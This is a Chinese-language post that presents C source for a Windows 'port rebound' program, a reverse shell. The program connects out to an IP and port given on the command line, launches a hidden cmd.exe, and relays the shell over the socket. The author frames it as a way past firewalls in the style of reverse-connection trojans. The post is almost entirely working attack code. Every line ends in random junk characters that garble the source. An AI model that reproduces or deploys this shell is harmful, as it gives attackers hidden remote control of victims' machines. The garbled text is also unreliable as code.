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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &AW?!rH  
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/* ============================== L./UgeZ  
Rebound port in Windows NT &cZD{Z  
By wind,2006/7 ]R0^ }sI  
===============================*/ f F?=W  
#include 7[Y<5T]  
#include K2&pTA~OR  
C6GYhG]  
#pragma comment(lib,"wsock32.lib") SwQb"  
 +&|WC2#  
void OutputShell(); zF{5!b  
SOCKET sClient; $"sf%{~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <jV_J+#  
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void main(int argc,char **argv) Q|:\  
{ mgS%YG  
WSADATA stWsaData; @n<WM@|l  
int nRet; B;^7Yu0,  
SOCKADDR_IN stSaiClient,stSaiServer; C0'Tua'  
c" yf>0  
if(argc != 3) >zXw4=J  
{ 9^`G `D  
printf("Useage:\n\rRebound DestIP DestPort\n"); D>05F,a  
return; *K!V$8k=99  
} Q&yfl  
ns@b0'IF]  
WSAStartup(MAKEWORD(2,2),&stWsaData); "",V\m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Y4 tt0I  
*2@Ne[dYEF  
stSaiClient.sin_family = AF_INET; g!4"3Dtdg  
stSaiClient.sin_port = htons(0); \ B<(9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lepgmQ|oY  
R(3V ! ph  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K5b8lc  
{ X=-pNwO   
printf("Bind Socket Failed!\n"); jh9^5"vQ  
return; "{|9Yis=  
} r%F{1.  
'H:lR1(,  
stSaiServer.sin_family = AF_INET; H=EvT'g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pkhZW8O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Aqq%HgY:t  
\S3C"P%w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /8lGP! z  
{ X#IVjc:&L  
printf("Connect Error!"); W&)O i ZN  
return; t[%9z6t  
} P$\( Bd\76  
OutputShell(); W%) foJ  
} om|M=/^  
yjc:+Y{5'  
void OutputShell() ^qGH77#z  
{ #|)GarDG  
char szBuff[1024]; C^]bXIb  
SECURITY_ATTRIBUTES stSecurityAttributes; Bx;bc  
OSVERSIONINFO stOsversionInfo; I 91`~0L*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Qr$ uFh/y  
STARTUPINFO stStartupInfo; {V,rWg  
char *szShell; HX?5O$<<N  
PROCESS_INFORMATION stProcessInformation; EPW Iu)A  
unsigned long lBytesRead; ,:j^EDCsaJ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p<tj6O  
}fUV*U:3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7'd_]e-.  
stSecurityAttributes.lpSecurityDescriptor = 0; TAIcp*)ZM  
stSecurityAttributes.bInheritHandle = TRUE; Xfk&{zO-j  
~%m-}Sxc  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q#F;GD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DO(FG-R  
=D<46T=(RB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1vu=2|QN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UPA))Iv>  
stStartupInfo.wShowWindow = SW_HIDE; hI]KT a  
stStartupInfo.hStdInput = hReadPipe; =k'3rm*ld  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aV,>y"S  
{])F%Q_#cD  
GetVersionEx(&stOsversionInfo); >?'cZTNk]  
~"iCx+pr  
switch(stOsversionInfo.dwPlatformId) (F +if  
{ =&< s*-l[  
case 1: &CG3_s<2  
szShell = "command.com"; \ @3i=!  
break; B/&axm%0  
default: +UB+. 5P  
szShell = "cmd.exe"; gs7H9%j{U  
break; x=gZ7$?A  
} Lr V)}1&5  
/!uxP~2U  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Rq<T2}K  
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send(sClient,szMsg,77,0); 7?dB&m6W  
while(1) dq[j.Nmq  
{ JY~s-jxa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /k l0(='  
if(lBytesRead) \M'b %  
{  \|L@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \2*<Pq  
send(sClient,szBuff,lBytesRead,0); VrrCW/ o  
} 1)X%n)2pr  
else  3_+-t5  
{ `[2nxP>w`  
lBytesRead=recv(sClient,szBuff,1024,0); H'P1EZtq  
if(lBytesRead<=0) break; z<hy#BIjnd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &1 {RuV&t  
} :I1 )=8lO  
} :OUNZDL  
ZjF$zVk  
return; .yd{7Te  
}
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